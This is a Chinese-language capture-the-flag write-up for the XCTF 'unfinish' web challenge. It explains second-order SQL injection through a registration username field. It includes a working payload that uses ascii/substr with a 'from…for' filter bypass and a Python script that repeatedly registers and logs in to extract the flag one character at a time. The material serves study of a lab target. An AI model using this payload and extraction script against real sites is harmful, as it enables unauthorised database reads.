1. 进入环境,查看页面

xctf攻防世界 Web高手进阶区 unfinish_前端


我的心情和这个图像一样懵逼,拿起dirsearch就是一顿乱扫。如图:

xctf攻防世界 Web高手进阶区 unfinish_安全_02


发现有register.php

2. 问题分析

  1. 登入register.php,注册相关账户并登录
  2. xctf攻防世界 Web高手进阶区 unfinish_安全_03

  3. 直接吧usrname给显示出来了,也就是说,注册提交了usrname数据,然后又从数据库中查询了username并回显,那么问题就清晰了一丢丢,想办法通过username注入数据,在回显时候再执行。查了查相关的wp,这种方式叫做​​二次注入​​:
  • 二次注入的原理,在第一次进行数据库插入数据的时候(注册时),仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。
  • 在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候(登录后),直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
  1. 思考注入点
    注册过程中,我们尝试一下抓包,得到数据如图:
  2. xctf攻防世界 Web高手进阶区 unfinish_前端_04

  3. 发现三个关键字,email、username、password,最后回显的是username,那么我们需要对usrname进行注入,如何注入?参考大佬们的wp,说是让FUZZ,于是屁颠屁颠的去查如何FUZZ,使用Burpsuite,在此记录一下。
  4. xctf攻防世界 Web高手进阶区 unfinish_数据库_05

注意§符号,然后点击payloads,填入相关的符号,(网上有,此处仅仅测试),然后点击start attack

xctf攻防世界 Web高手进阶区 unfinish_数据库_06


可以看到过滤了什么字符,如图:

xctf攻防世界 Web高手进阶区 unfinish_数据_07

  1. 如何构造?
    看了看​​​大佬的WP​​​,翻译一下,就是通过使用​​0’+1+'0​​作为用户名,在注册的时候,猜想使用sql语句插入到表中,如:
insert into tables values('$email','$username','$password')

在插入中将​​0’+1+‘0​​​插入,取的时候,MySQL语言的一种特性,就是​​+​​​在MySQL中是作为运算符的,​​引用一幅图​​:

xctf攻防世界 Web高手进阶区 unfinish_数据库_08


利用这个特性,我们可以构造payload:​​0’+ascii(substr((select * from flag),1,1))+‘0​​​这样我们就可以得到flag表(这个表名是猜的,一般CTF的注入题,如果不特别提示表名的话,表名都是flag)查询结果的第一个字符的ascii码,但是之前FUZZ时已经发现,被过滤,查询资料后发现可以用​​from * for *​​​代替,所以我们的最终payload为​​0’+ascii(substr((select * from flag) from 1 for 1))+'0​​。

*(PS:这点大佬的WP写出了from * for 的原因很棒,很多我看了都不知道为什么,就很难学)

不过我还是不懂,为什么就这么敢断定数据库表是flag,而且能想到利用二次注入,拿到flag的每位ascii做运算回显出来,然后拿到回显的前端数据又将其反ascii化,真尼玛牛逼。。。

  1. 使用脚本子跑起来(代码已注释)
import requests, re


# 拿到登录页面的url和注册页面的url
login_url = 'http://111.200.241.244:56778/login.php'
register_url = 'http://111.200.241.244:56778/register.php'
flag = ''

# 每次注册一个账户,拿到数据库中的一个字符
for i in range(1, 100):
# 注册时候的payload数据
register_data = {
'email': 'test%d123.com' % i,
'username': "0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i,
'password': '123'
}
# post提交注册payload
res = requests.post(url=register_url,data=register_data)

# 登录时候的payload数据
login_data = {
'email': 'test%d123.com' % i,
'password': '123'
}
# post提交登录payload
res = requests.post(url=login_url, data=login_data)

# 使用正则匹配,找到前端的回显数据
num = re.search('<span class="user-name">\n(.*?)</span>', res.text)
# 将拿到的ascii转码,还原成存储的数据
flag += chr(int(num.group(1).strip()))
print(flag)

解释一下代码中几个点:

'email': 'test%d123.com' % i,   #表示每次注册的时候,使用%i去替换%d的数据

python格式化输出可以参考链接:​​PYTHON 中的"%s" %占位符用法​

re.search('<span class="user-name">\n(.*?)</span>', res.text)

为什么要去匹配​​< span class=“user-name”>​​?如图:

xctf攻防世界 Web高手进阶区 unfinish_数据库_09


​(.*?)​​表示使用的正则匹配的非贪婪模式!目的是匹配到第一个内容就停止了。

3. 总结

  • 考察sql注入
  • MySQL中的特殊字符+
  • sql中的内置函数绕过检测
  • 脚本使用
  • 正则匹配和转码解码操作

参考博客:

太尼玛难了,好绕啊。。。全程参考wp,要被虐哭了!如有问题,欢迎探讨。